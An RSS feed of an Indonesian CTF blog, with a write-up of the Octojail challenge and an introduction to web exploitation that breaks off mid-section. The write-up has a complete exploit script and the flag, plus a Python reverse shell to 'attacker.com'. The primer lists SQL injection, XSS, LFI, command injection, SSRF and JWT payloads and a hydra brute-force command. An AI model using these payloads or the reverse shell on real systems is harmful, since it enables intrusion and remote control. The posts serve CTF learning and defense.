<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Cysec</title><description>A blog about Cyber Security and Capture The Flag (CTF)</description><link>https://blog.aryok.tech/</link><language>en</language><item><title>CTF@AC - Octojail Writeup</title><link>https://blog.aryok.tech/posts/octojail-ctfac-writeup/</link><guid isPermaLink="true">https://blog.aryok.tech/posts/octojail-ctfac-writeup/</guid><description>Writeup detail untuk challenge Octojail dari CTFAC yang melibatkan octal encoding, tar file exploitation, dan Python plugin loading vulnerability.</description><pubDate>Sat, 11 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Information&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Challenge Name:&lt;/strong&gt; Octojail&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; thek0der&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Misc&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; &quot;We only like octal around here!&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Challenge Analysis&lt;/h2&gt;
&lt;h3&gt;Source Code&lt;/h3&gt;
&lt;p&gt;Challenge memberikan source code Python berikut:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import io, os, re, sys, tarfile, importlib.util, signal

OCTAL_RE = re.compile(r&apos;^[0-7]+$&apos;)

def to_bytes_from_octal_triplets(s: str) -&amp;gt; bytes:
    if not OCTAL_RE.fullmatch(s):
        sys.exit(&quot;invalid: only octal digits 0-7&quot;)
    if len(s) % 3 != 0:
        sys.exit(&quot;invalid: length must be multiple of 3&quot;)
    if len(s) &amp;gt; 300000:
        sys.exit(&quot;too long&quot;)
    return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))

def safe_extract(tf: tarfile.TarFile, path: str):
    def ok(m: tarfile.TarInfo):
        name = m.name
        return not (name.startswith(&quot;/&quot;) or &quot;..&quot; in name)
    for m in tf.getmembers():
        if ok(m):
            tf.extract(m, path)

def load_and_run_plugin():
    for candidate in (&quot;uploads/plugin.py&quot;, &quot;plugin.py&quot;):
        if os.path.isfile(candidate):
            spec = importlib.util.spec_from_file_location(&quot;plugin&quot;, candidate)
            mod = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(mod)
            if hasattr(mod, &quot;run&quot;):
                return mod.run()
            break
    print(&quot;No plugin found.&quot;)

def timeout(*_): sys.exit(&quot;timeout&quot;)
signal.signal(signal.SIGALRM, timeout)
signal.alarm(6)

print(&quot;Send octal&quot;)
data = sys.stdin.readline().strip()
blob = to_bytes_from_octal_triplets(data)

bio = io.BytesIO(blob)
try:
    with tarfile.open(fileobj=bio, mode=&quot;r:*&quot;) as tf:
        os.makedirs(&quot;uploads&quot;, exist_ok=True)
        safe_extract(tf, &quot;uploads&quot;)
except Exception as e:
    sys.exit(f&quot;bad archive: {e}&quot;)

load_and_run_plugin()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Program Flow&lt;/h3&gt;
&lt;p&gt;Mari kita breakdown apa yang dilakukan program ini:&lt;/p&gt;
&lt;h4&gt;1. Input Validation&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;OCTAL_RE = re.compile(r&apos;^[0-7]+$&apos;)

def to_bytes_from_octal_triplets(s: str) -&amp;gt; bytes:
    if not OCTAL_RE.fullmatch(s):
        sys.exit(&quot;invalid: only octal digits 0-7&quot;)
    if len(s) % 3 != 0:
        sys.exit(&quot;invalid: length must be multiple of 3&quot;)
    if len(s) &amp;gt; 300000:
        sys.exit(&quot;too long&quot;)
    return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Program memvalidasi input dengan aturan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hanya digit octal (0-7)&lt;/strong&gt; yang diperbolehkan&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Panjang harus kelipatan 3&lt;/strong&gt; karena setiap 3 digit octal = 1 byte&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maksimal 300,000 karakter&lt;/strong&gt; untuk mencegah DoS&lt;/li&gt;
&lt;li&gt;Setiap 3 digit dikonversi ke byte: &lt;code&gt;&quot;141&quot;&lt;/code&gt; → &lt;code&gt;int(&quot;141&quot;, 8)&lt;/code&gt; → &lt;code&gt;97&lt;/code&gt; → byte &lt;code&gt;a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Contoh konversi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;141&quot; (octal) = 1×8² + 4×8¹ + 1×8⁰ = 64 + 32 + 1 = 97 = ASCII &apos;a&apos;
&quot;150&quot; (octal) = 1×8² + 5×8¹ + 0×8⁰ = 64 + 40 + 0 = 104 = ASCII &apos;h&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. Tar Archive Extraction&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;bio = io.BytesIO(blob)
with tarfile.open(fileobj=bio, mode=&quot;r:*&quot;) as tf:
    os.makedirs(&quot;uploads&quot;, exist_ok=True)
    safe_extract(tf, &quot;uploads&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Setelah decode octal ke bytes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bytes dibungkus dalam &lt;code&gt;BytesIO&lt;/code&gt; object&lt;/li&gt;
&lt;li&gt;Dibuka sebagai tar archive (mode &lt;code&gt;r:*&lt;/code&gt; auto-detect compression)&lt;/li&gt;
&lt;li&gt;Extract ke folder &lt;code&gt;uploads/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. Safe Extract Function&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def safe_extract(tf: tarfile.TarFile, path: str):
    def ok(m: tarfile.TarInfo):
        name = m.name
        return not (name.startswith(&quot;/&quot;) or &quot;..&quot; in name)
    for m in tf.getmembers():
        if ok(m):
            tf.extract(m, path)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fungsi ini mencoba mencegah path traversal dengan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;❌ Reject file yang dimulai dengan &lt;code&gt;/&lt;/code&gt; (absolute path)&lt;/li&gt;
&lt;li&gt;❌ Reject file yang mengandung &lt;code&gt;..&lt;/code&gt; (parent directory)&lt;/li&gt;
&lt;li&gt;✅ Extract hanya file yang &quot;aman&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. Plugin Loading&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def load_and_run_plugin():
    for candidate in (&quot;uploads/plugin.py&quot;, &quot;plugin.py&quot;):
        if os.path.isfile(candidate):
            spec = importlib.util.spec_from_file_location(&quot;plugin&quot;, candidate)
            mod = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(mod)
            if hasattr(mod, &quot;run&quot;):
                return mod.run()
            break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Setelah extract, program mencari plugin Python:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Cek &lt;code&gt;uploads/plugin.py&lt;/code&gt; dulu&lt;/li&gt;
&lt;li&gt;Jika tidak ada, cek &lt;code&gt;plugin.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Load sebagai module dan execute &lt;code&gt;run()&lt;/code&gt; function&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;5. Timeout Protection&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;signal.signal(signal.SIGALRM, timeout)
signal.alarm(6)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Program akan timeout setelah 6 detik untuk mencegah infinite loops.&lt;/p&gt;
&lt;h2&gt;Vulnerability Analysis&lt;/h2&gt;
&lt;h3&gt;The Vulnerability&lt;/h3&gt;
&lt;p&gt;Vulnerability utama ada di &lt;strong&gt;plugin loading mechanism&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for candidate in (&quot;uploads/plugin.py&quot;, &quot;plugin.py&quot;):
    if os.path.isfile(candidate):
        spec = importlib.util.spec_from_file_location(&quot;plugin&quot;, candidate)
        mod = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(mod)  # ← ARBITRARY CODE EXECUTION!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Program akan &lt;strong&gt;execute arbitrary Python code&lt;/strong&gt; dari file &lt;code&gt;plugin.py&lt;/code&gt; yang kita upload!&lt;/p&gt;
&lt;h3&gt;Why Safe Extract Isn&apos;t Safe Enough&lt;/h3&gt;
&lt;p&gt;Meskipun ada &lt;code&gt;safe_extract()&lt;/code&gt;, kita masih bisa:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Upload file ke &lt;code&gt;uploads/plugin.py&lt;/code&gt; (tidak mengandung &lt;code&gt;/&lt;/code&gt; atau &lt;code&gt;..&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;File akan di-extract ke &lt;code&gt;uploads/plugin.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Program akan load dan execute code kita&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Exploitation Path&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[Octal String]
    ↓ decode
[Tar Archive Bytes]
    ↓ extract
[uploads/plugin.py]
    ↓ load &amp;amp; execute
[Arbitrary Code Execution!]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;h3&gt;Strategy&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create malicious plugin.py&lt;/strong&gt; yang membaca flag&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pack into tar.gz archive&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Convert to octal encoding&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send to server&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Receive flag&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step-by-Step Exploitation&lt;/h3&gt;
&lt;h4&gt;Step 1: Create Malicious Plugin&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def run():
    print(open(&apos;/app/flag.txt&apos;).read())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Simple Python code yang:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Define function &lt;code&gt;run()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;/app/flag.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Print isinya&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Step 2: Create Tar Archive&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;with tarfile.open(&quot;payload.tar.gz&quot;, &quot;w:gz&quot;) as tf:
    info = tf.gettarinfo(&quot;plugin.py&quot;)
    info.name = &quot;plugin.py&quot;  # Nama dalam archive
    with open(&quot;plugin.py&quot;, &quot;rb&quot;) as src:
        tf.addfile(info, src)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Membuat tar.gz archive dengan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Compression: gzip&lt;/li&gt;
&lt;li&gt;Member name: &lt;code&gt;plugin.py&lt;/code&gt; (akan extract ke &lt;code&gt;uploads/plugin.py&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Step 3: Convert to Octal&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;data = open(&quot;payload.tar.gz&quot;, &quot;rb&quot;).read()
octal = &quot;&quot;.join(f&quot;{b:03o}&quot; for b in data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Setiap byte dikonversi ke 3-digit octal:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Byte &lt;code&gt;0x1F&lt;/code&gt; (31) → &lt;code&gt;&quot;037&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Byte &lt;code&gt;0x8B&lt;/code&gt; (139) → &lt;code&gt;&quot;213&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Format: &lt;code&gt;{byte:03o}&lt;/code&gt; = zero-padded 3-digit octal&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Step 4: Send to Server&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;s = socket.create_connection((HOST, PORT))
s.sendall((octal + &quot;\n&quot;).encode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Connect dan kirim octal string diakhiri newline.&lt;/p&gt;
&lt;h4&gt;Step 5: Receive Output&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;out = b&quot;&quot;
while True:
    try:
        chunk = s.recv(4096)
        if not chunk: break
        out += chunk
    except Exception:
        break
print(out.decode(errors=&quot;ignore&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Receive semua output sampai connection close.&lt;/p&gt;
&lt;h2&gt;Full Exploit Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import tarfile, socket

HOST, PORT = &quot;ctf.ac.upt.ro&quot;, 9908

# 1. Create malicious plugin.py
with open(&quot;plugin.py&quot;, &quot;w&quot;) as f:
    f.write(&quot;def run():\n    print(open(&apos;/app/flag.txt&apos;).read())\n&quot;)

# 2. Create tar.gz archive
with tarfile.open(&quot;payload.tar.gz&quot;, &quot;w:gz&quot;) as tf:
    info = tf.gettarinfo(&quot;plugin.py&quot;)
    info.name = &quot;plugin.py&quot;
    with open(&quot;plugin.py&quot;, &quot;rb&quot;) as src:
        tf.addfile(info, src)

# 3. Read archive and convert to octal
data = open(&quot;payload.tar.gz&quot;, &quot;rb&quot;).read()
octal = &quot;&quot;.join(f&quot;{b:03o}&quot; for b in data)

print(f&quot;[*] Payload size: {len(data)} bytes&quot;)
print(f&quot;[*] Octal length: {len(octal)} chars&quot;)

# 4. Connect and send payload
print(f&quot;[*] Connecting to {HOST}:{PORT}&quot;)
s = socket.create_connection((HOST, PORT))
s.sendall((octal + &quot;\n&quot;).encode())

# 5. Receive output
out = b&quot;&quot;
while True:
    try:
        chunk = s.recv(4096)
        if not chunk: break
        out += chunk
    except Exception:
        break

print(&quot;[+] Output:&quot;)
print(out.decode(errors=&quot;ignore&quot;))

s.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Running the Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ python3 solver.py
[*] Payload size: 156 bytes
[*] Octal length: 468 chars
[*] Connecting to ctf.ac.upt.ro:9908
[+] Output:
Send octal
ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;h3&gt;What We Learned&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Octal Encoding&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Octal adalah base-8 numbering system (0-7)&lt;/li&gt;
&lt;li&gt;Sering digunakan untuk encoding/obfuscation&lt;/li&gt;
&lt;li&gt;3 octal digits = 1 byte (karena 8³ = 512 &amp;gt; 256)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tar File Structure&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tar archives bisa contain arbitrary files&lt;/li&gt;
&lt;li&gt;Python &lt;code&gt;tarfile&lt;/code&gt; module support compression (gz, bz2, xz)&lt;/li&gt;
&lt;li&gt;Member names bisa dimanipulasi&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Path Traversal Defense&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Blocking &lt;code&gt;..&lt;/code&gt; dan &lt;code&gt;/&lt;/code&gt; adalah insufficient&lt;/li&gt;
&lt;li&gt;Perlu check resolved path dengan &lt;code&gt;os.path.realpath()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Better: use whitelist approach&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dynamic Code Loading&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;importlib&lt;/code&gt; sangat powerful tapi dangerous&lt;/li&gt;
&lt;li&gt;Loading user-supplied code = RCE&lt;/li&gt;
&lt;li&gt;Always sandbox untrusted code&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Defense Recommendations&lt;/h3&gt;
&lt;p&gt;Untuk mencegah vulnerability seperti ini:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# BAD - Vulnerable
spec.loader.exec_module(mod)

# BETTER - Validate content
import ast
tree = ast.parse(plugin_code)
# Analyze AST, block dangerous imports

# BEST - Don&apos;t execute user code
# Use configuration files (JSON/YAML) instead
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Alternative Approaches&lt;/h2&gt;
&lt;h3&gt;Method 1: Direct File Read&lt;/h3&gt;
&lt;p&gt;Alih-alih menggunakan &lt;code&gt;open()&lt;/code&gt;, kita bisa:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def run():
    import subprocess
    print(subprocess.check_output([&apos;cat&apos;, &apos;/app/flag.txt&apos;]).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Method 2: Reverse Shell&lt;/h3&gt;
&lt;p&gt;Untuk persistent access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def run():
    import socket, subprocess, os
    s = socket.socket()
    s.connect((&quot;attacker.com&quot;, 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call([&quot;/bin/sh&quot;, &quot;-i&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Method 3: Environment Variables&lt;/h3&gt;
&lt;p&gt;Check untuk secrets di environment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def run():
    import os
    print(os.environ)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Challenge &lt;strong&gt;octojail&lt;/strong&gt; adalah excellent example dari:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Custom encoding schemes (octal)&lt;/li&gt;
&lt;li&gt;Archive manipulation&lt;/li&gt;
&lt;li&gt;Python sandbox escape&lt;/li&gt;
&lt;li&gt;Arbitrary code execution&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vulnerability terjadi karena program me-load dan execute user-supplied Python code tanpa proper sandboxing. Meskipun ada protection untuk path traversal, fundamental design flaw membuat challenge ini vulnerable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Challenge Rating:&lt;/strong&gt; Medium&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Skills Required:&lt;/strong&gt; Python, Tar files, Octal encoding, Code analysis&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Skills Learned:&lt;/strong&gt; Archive exploitation, Dynamic module loading, Encoding schemes&lt;/p&gt;
&lt;p&gt;Happy hacking! 🚩&lt;/p&gt;
</content:encoded></item><item><title>CTF Web Exploitation</title><link>https://blog.aryok.tech/posts/ctf-web-exploit/</link><guid isPermaLink="true">https://blog.aryok.tech/posts/ctf-web-exploit/</guid><description>Pengenalan mendalam tentang CTF Web Exploitation, mencakup teknik-teknik umum yang sering muncul dalam kompetisi CTF dan bagaimana cara menyelesaikannya.</description><pubDate>Sat, 11 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Apa itu CTF Web Exploitation?&lt;/h2&gt;
&lt;p&gt;Capture The Flag (CTF) adalah kompetisi keamanan siber yang menantang peserta untuk menemukan &quot;flag&quot; yang tersembunyi dengan mengeksploitasi kerentanan dalam sistem. Kategori Web Exploitation fokus pada kerentanan aplikasi web yang umum ditemukan di dunia nyata.&lt;/p&gt;
&lt;h2&gt;Kategori Umum dalam Web CTF&lt;/h2&gt;
&lt;h3&gt;1. SQL Injection&lt;/h3&gt;
&lt;p&gt;SQL Injection adalah salah satu kerentanan paling umum dalam CTF. Attacker dapat memanipulasi query SQL untuk mengakses, memodifikasi, atau menghapus data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contoh Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; OR &apos;1&apos;=&apos;1&apos; --
admin&apos; --
&apos; UNION SELECT NULL, username, password FROM users --
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Cara Mendeteksi:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Input field yang tidak ter-sanitasi&lt;/li&gt;
&lt;li&gt;Error messages yang menampilkan SQL syntax&lt;/li&gt;
&lt;li&gt;Response time yang berbeda untuk payload yang berbeda (Blind SQLi)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Cross-Site Scripting (XSS)&lt;/h3&gt;
&lt;p&gt;XSS memungkinkan attacker untuk menjalankan JavaScript berbahaya di browser korban.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tipe-tipe XSS:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reflected XSS&lt;/strong&gt;: Payload di-reflect langsung dalam response&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt;: Payload tersimpan di database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOM-based XSS&lt;/strong&gt;: Manipulasi DOM di client-side&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Contoh Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;
&amp;lt;img src=x onerror=&quot;alert(&apos;XSS&apos;)&quot;&amp;gt;
&amp;lt;svg onload=&quot;alert(1)&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Local File Inclusion (LFI)&lt;/h3&gt;
&lt;p&gt;LFI memungkinkan attacker membaca file lokal dari server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contoh:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?file=../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=index.php
?file=/var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Teknik Advanced:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP wrapper exploitation&lt;/li&gt;
&lt;li&gt;Log poisoning&lt;/li&gt;
&lt;li&gt;Path truncation&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Remote Code Execution (RCE)&lt;/h3&gt;
&lt;p&gt;RCE adalah holy grail dari web exploitation - kemampuan untuk menjalankan kode arbitrary di server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common Vectors:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Command injection via &lt;code&gt;system()&lt;/code&gt;, &lt;code&gt;exec()&lt;/code&gt;, &lt;code&gt;shell_exec()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deserialization vulnerabilities&lt;/li&gt;
&lt;li&gt;Server-Side Template Injection (SSTI)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Contoh Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; ls -la
| cat /etc/passwd
`whoami`
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Server-Side Request Forgery (SSRF)&lt;/h3&gt;
&lt;p&gt;SSRF memungkinkan attacker membuat server melakukan request ke resource internal yang tidak seharusnya dapat diakses.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Target Umum:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Cloud Metadata (AWS)
http://169.254.169.254/latest/meta-data/

# Internal Services
http://127.0.0.1:8080/admin
http://localhost:6379/  (Redis)

# File System
file:///etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Bypass Techniques:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# IP Encoding
http://2130706433/ (127.0.0.1 in decimal)
http://0177.0.0.1/ (octal)
http://0x7f.0x0.0x0.0x1/ (hex)

# URL Parser Issues
http://expected-host@evil-host/

# Protocol Wrapper
gopher://127.0.0.1:6379/
dict://127.0.0.1:6379/info
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SSRFmap&lt;/strong&gt;: Automated SSRF exploitation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gopherus&lt;/strong&gt;: Generate gopher payloads&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. Authentication &amp;amp; Authorization Bypass&lt;/h3&gt;
&lt;p&gt;Authentication dan Authorization adalah dua konsep berbeda yang sering menjadi target dalam CTF. Authentication memverifikasi &quot;siapa Anda&quot;, sedangkan Authorization menentukan &quot;apa yang boleh Anda lakukan&quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A. Authentication Bypass&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. SQL Injection-based Auth Bypass:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Memanipulasi query SQL untuk bypass login:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Original query
SELECT * FROM users WHERE username=&apos;$user&apos; AND password=&apos;$pass&apos;

# Bypass payloads
Username: admin&apos; OR &apos;1&apos;=&apos;1&apos; --
Password: anything

Username: admin&apos; --
Password: anything

Username: &apos; OR 1=1 --
Password: anything
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Weak Password Attacks:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Brute force dengan hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form &quot;/login:username=^USER^&amp;amp;password=^PASS^:Invalid credentials&quot;

# Dictionary attack dengan Burp Intruder
# Common default credentials
admin:admin
admin:password
root:root
admin:12345
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. JWT (JSON Web Token) Manipulation:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JWT Structure:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Header].[Payload].[Signature]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Attack Vectors:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;a) &lt;strong&gt;None Algorithm:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;alg&quot;: &quot;none&quot;,
  &quot;typ&quot;: &quot;JWT&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ubah algorithm ke &quot;none&quot; dan hapus signature.&lt;/p&gt;
&lt;p&gt;b) &lt;strong&gt;Algorithm Confusion (RS256 to HS256):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Server menggunakan RS256 dengan public key
# Attacker change ke HS256 dan sign dengan public key
import jwt
public_key = open(&apos;public.pem&apos;, &apos;r&apos;).read()
token = jwt.encode({&quot;user&quot;:&quot;admin&quot;}, public_key, algorithm=&apos;HS256&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;c) &lt;strong&gt;Weak Secret:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Crack JWT secret
hashcat -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;d) &lt;strong&gt;JWT Claims Manipulation:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;user&quot;: &quot;admin&quot;,     // Change dari &quot;user&quot;
  &quot;role&quot;: &quot;admin&quot;,     // Change dari &quot;user&quot;
  &quot;exp&quot;: 9999999999    // Extend expiration
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Session-based Attacks:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Session Fixation:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Attacker mendapat session ID: SESSIONID=abc123
2. Victim login dengan session ID yang sama
3. Attacker menggunakan session ID untuk access akun victim
